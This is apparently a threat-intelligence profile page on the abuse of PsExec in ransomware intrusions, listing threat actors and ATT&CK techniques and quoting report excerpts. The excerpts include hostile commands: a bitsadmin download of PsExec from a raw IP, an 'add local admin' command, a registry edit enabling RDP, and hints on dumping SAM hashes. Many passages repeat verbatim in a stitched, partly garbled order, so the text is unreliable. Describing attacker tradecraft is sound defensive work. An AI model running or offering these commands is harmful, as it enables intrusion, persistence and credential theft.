Loading malware…
PsExec is a legitimate Microsoft Sysinternals remote administration utility for executing processes on local or remote Windows systems. Although not malware in itself, it is widely abused during intrusions and ransomware operations because it enables remote command execution over administrative shares and service creation, often using valid credentials already obtained by an attacker. In enterprise compromises, PsExec is commonly used for lateral movement, propagation of ransomware payloads, remote execution of batch scripts or binaries, and launching commands with elevated privileges, including SYSTEM context via its service-based execution model. It frequently appears alongside credential theft and post-exploitation tooling such as Mimikatz, Impacket, PowerShell Empire, Cobalt Strike, and WMI-based tradecraft.
PsExec has been repeatedly observed in ransomware and extortion operations including campaigns involving Conti, Black Basta, Akira, LockBit, Ryuk, Sodinokibi, DoppelPaymer, NetWalker, Maze, Petya or NotPetya, ProLock, Nefilim, Warlock, TFlower, and The Gentlemen. Threat actors use it after initial access obtained through vectors such as phishing, exploitation of public-facing applications, exposed remote services, stolen credentials, or supply-chain compromise. Once inside a network, operators commonly use harvested administrator or domain credentials to copy payloads to remote hosts and execute them through the temporary service PsExec creates, making it a reliable mechanism for rapid spread across Windows environments.
Because PsExec is an administrative tool rather than a malicious family, its presence must be interpreted in behavioral context. In malicious use cases it is strongly associated with lateral movement, privilege escalation to SYSTEM, post-exploitation activity, and ransomware deployment across reachable hosts.
38 distinct threat actors Mallory has associated with this family across public reporting. Open in Mallory to see the full evidence chain and overlapping campaigns.
Additionally, they employ PsExec to remotely execute the ransomware binary on targeted systems, providing an alternative method for spreading the infection when the GPO-based approach is not feasible.
Microsoft also observed the use of PsExec and Impacket for lateral movement and the use of Group Policy Objects (GPO) to deploy the Warlock payload.
Prominent among the other tools used by Twelve are Cobalt Strike, Mimikatz, Chisel, BloodHound, PowerView, adPEAS, CrackMapExec, Advanced IP Scanner, and PsExec for credential theft, discovery, network mapping, and privilege escalation.
GOLD SALEM has been observed using PsExec and Impacket (WMI) for lateral movement within compromised environments.
"...publicly available utilities like PsExec, to move laterally within compromised networks."
+32 more in the app. View in Mallory
54 distinct techniques documented for this family, organized by ATT&CK tactic.
Adversaries may upload tools to third-party or adversary controlled infrastructure to make it accessible during targeting.
Adversaries may buy, steal, or download software tools that can be used during targeting. Tools can be open or closed source, free or commercial.
The first step of abusing WSUS is to create the malicious patch... The payload must be a Microsoft signed binary... there are still plenty of binaries that could be used such as PsExec.exe to run a command as SYSTEM, RunDLL32.exe to run a malicious DLL on a network share, MsBuild.exe to grab and execute a remote payload and more.
Tools can be used for malicious purposes by an adversary, but ... were not intended to be used for those purposes (ex: PsExec).
We are given initial access with credentials jdoe \ Summer2026!
Since there was no MFA required, the attacker was able to login to the virtual desktop, escalate privileges, and move to other devices in the corporate network.
T1078.003 - Valid Accounts: Local Accounts Adversaries may obtain and abuse credentials of a local account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion.
[*] 192.168.159.10:445 - Connecting to the server... [*] 192.168.159.10:445 - Authenticating to 192.168.159.10:445 as user 'smcintyre'...
Типичная цепочка: Exploit Public-Facing Application (T1190) или фишинг, затем Mimikatz + PsExec для lateral movement, шифрование.
They may push out copies to individual machines from a domain controller, or use administrative commands with WMIC or PsExec to run the malware directly from another server or workstation they control
license validf scheduled task ... was created to execute ssh.exe on a recurring basis on the ServiceDesk system.
A new Group Policy Object (GPO) was created to launch and execute a Batch (BAT) file via a scheduled task.
PSExec remotely authenticated and executed PowerShell on remote systems within the environment.
ATT&CK Technique: Command and Scripting Interpreter: Windows Command Shell (T1059.003)
Mitre ATT&CK Mapping Tactic Technique Procedure ... T1072 Software Deployment Tools
"C:\Windows\system32\bitsadmin.exe" /transfer debjob /download /priority normal http://79.137.206.47/PsExec.exe C:\Users\Public\PsExec.exe
The PsExec executables opens the “\pipe\PSEXESVC” pipe from the remote machine... PsExec waits until an instance of the “\\192.168.164.130\pipe\PSEXESVC-<Local computer name>-<Process ID>-stdin” pipe is available for connection
Enable Attack Surface Reduction (ASR) rules to block processes created by PsExec from running.
PsExec and similar tools execute commands on remote systems.
license validf scheduled task ... was created to execute ssh.exe on a recurring basis on the ServiceDesk system.
We are given initial access with credentials jdoe \ Summer2026!
Since there was no MFA required, the attacker was able to login to the virtual desktop, escalate privileges, and move to other devices in the corporate network.
T1078.003 - Valid Accounts: Local Accounts Adversaries may obtain and abuse credentials of a local account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion.
cmd.exe /c "net user WSUSDemo Password123! /add && net localgroup administrators WSUSDemo /add"
[*] 192.168.159.10:445 - Connecting to the server... [*] 192.168.159.10:445 - Authenticating to 192.168.159.10:445 as user 'smcintyre'...
This malicious patch uses the PsExec.exe binary stored on the WSUS server... This patch will add a new user with the username WSUSDemo and grant them administrative rights over whichever machine it is installed on.
Adversaries may create a domain account to maintain access to victim systems. With a sufficient level of access, the net user /add /domain command can be used to create a domain account.
"C:\Windows\system32\bitsadmin.exe" /transfer debjob /download /priority normal http://79.137.206.47/PsExec.exe C:\Users\Public\PsExec.exe
PsExecと自身を送り込んだうえでPsExecを利用して自身をリモート実行します。
«Masque повышают привилегии до уровня SYSTEM при помощи утилиты PsExec.»
license validf scheduled task ... was created to execute ssh.exe on a recurring basis on the ServiceDesk system.
“The local execution path spawns child processes under the service token… attacker-controlled script content executes locally on the Royal Server host as LocalSystem.”
We are given initial access with credentials jdoe \ Summer2026!
Since there was no MFA required, the attacker was able to login to the virtual desktop, escalate privileges, and move to other devices in the corporate network.
T1078.003 - Valid Accounts: Local Accounts Adversaries may obtain and abuse credentials of a local account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion.
cmd.exe /c "net user WSUSDemo Password123! /add && net localgroup administrators WSUSDemo /add"
PsExecと自身を送り込んだうえでPsExecを利用して自身をリモート実行します。
«Masque повышают привилегии до уровня SYSTEM при помощи утилиты PsExec.»
INC Ransom has named a PsExec executable winupd to mimic a legitimate Windows update file.
Execution and removal of PsExec Service T1569.002, T1070, T1543.003
We are given initial access with credentials jdoe \ Summer2026!
Since there was no MFA required, the attacker was able to login to the virtual desktop, escalate privileges, and move to other devices in the corporate network.
T1078.003 - Valid Accounts: Local Accounts Adversaries may obtain and abuse credentials of a local account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion.
"C:\Windows\system32\bitsadmin.exe" /transfer debjob /download /priority normal http://79.137.206.47/PsExec.exe C:\Users\Public\PsExec.exe
Execution is proxied through trusted, often Microsoft-signed binaries to bypass signature-based defenses. The advisory names PsExec and WinRM.
The sys-internal tool PSEXEC is used to execute malicious BAT files on a single system which were later cleaned off.
The group behind it has also been observed while dropping a series of other tools including Process Hacker, IObit Uninstaller, PowerTool, and PsExec that would also help them disable security tools on devices they compromise.
If your user possesses these privileges, you can read and write ANY file on the system... stealing the locked Security Account Manager (SAM) and SYSTEM registry hives. Download these files... and use impacket-secretsdump or psexec to extract the local administrator NTLM hashes.
One such utility is reg.exe, which allows administrators to interact with the Registry hives. This utility can be used to 'dump' or save copies of the Registry hive files... This command is then repeated for the Software and SAM Registry hives.
...use tools like PsExec to pivot to a Domain Controller, where they have accessed the NTDS.dit dump, a copy of the Active Directory database...
Here, I could view the admin password in cleartext, which could be used to gain a high-privilege shell to the target.
After dropping PsExec, the malware attempts to enumerate and discover remote systems on the network, including workstations, servers, and domain controllers.
The next execution event was net.exe with the command line argument localgroup administrators, which results in the listing of all the users in the local administrators group.
the malware pulls in a legitimate system tool called PsExec... and starts scanning the network for reachable machines, including regular workstations, servers, and domain controllers.
Following internal port scanning, the threat actor established a Sysinternals PsExec session to the victims system via the SNOWGLAZE tunnel, and executed commands to enumerate local administrator accounts.
Activity included WMI execution (e.g. ExecQuery), DCE-RPC activity, SMB sessions and file writes, most of which were successful, as well as the deployment of PSEXESVC.exe via ADMIN$ shares
SafePay threat actors employ remote services to expand their presence within the compromised network.
reg add "HKLM\System\CurrentControlSet\Control\Terminal Server" /v "fDenyTSConnections" /t REG_DWORD /d 0 /f
NetExec with forced share creation via PowerShell.
PsExec was used to execute commands that led to the installation of TightVNC via MSIEXEC execution with /i , enabling the download and installation of package from the remote location.
"When executed against a remote system, PsExec creates a file named 'PSEXESVC.exe' on the remote system."
Mitre ATT&CK Mapping Tactic Technique Procedure ... T1072 Software Deployment Tools
The device was observed conducting extensive lateral movement, leveraging LOTL techniques to evade detection. Activity included WMI execution (e.g. ExecQuery), DCE-RPC activity, SMB sessions and file writes...
«Pass-the-hash через RDP (T1550.002 + T1021.001)»
In the ICS-CERT reporting for Q4 2024, for example, Crypt Ghouls relied on Mimikatz, PingCastle, Resocks, AnyDesk, and PsExec.
«RDP Hijacking (T1563.002 ... ) - перехват отключённой (disconnected) сессии»
Adversaries may transfer tools or other files between systems in a compromised environment.
The actors downloaded malware and multiple tools to the network, including PsExec, Mimikatz, and Ngrok.
We tried to invoke a notification that would install PsExec using Winget on click.
Tools such as PowerShell and PsExec are used to exfiltrate data directly to C2 servers.
Ransomware was deployed to the estate and impacted both servers and end-user devices
Adversaries may stop or disable services on a system to render those services unavailable to legitimate users.
5 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Values are masked here and available in full in Mallory.
56 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.